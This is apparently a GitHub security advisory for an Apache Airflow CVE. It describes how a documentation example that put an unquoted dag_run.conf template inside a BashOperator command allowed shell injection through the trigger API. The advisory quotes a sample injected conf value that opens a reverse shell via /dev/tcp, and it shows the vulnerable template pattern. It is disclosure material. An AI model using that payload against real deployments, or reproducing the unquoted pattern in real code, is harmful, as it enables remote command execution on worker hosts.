apache/airflow · Security
Apache Airflow vulnerable to Improper Neutralization of Special Elements Used in a Template Engine
- GHSA ID
- GHSA-c85c-g9wv-pph2
- CVE ID
- CVE-2026-42252
- Severity
- critical
- Published
- Updated
- CVSS
- 9.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- CVSS v3
- 9.1 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Description
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
CWEs
- CWE-1336 · Improper Neutralization of Special Elements Used in a Template Engine
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-42252 ↗
- https://github.com/apache/airflow/pull/64129 ↗
- https://lists.apache.org/thread/8f4sc0rfn154jprmnwtmlst4p9zfw3w7 ↗
- https://github.com/pypa/advisory-database/tree/main/vulns/apache-airflow/PYSEC-2026-184.yaml ↗
- https://github.com/advisories/GHSA-c85c-g9wv-pph2 ↗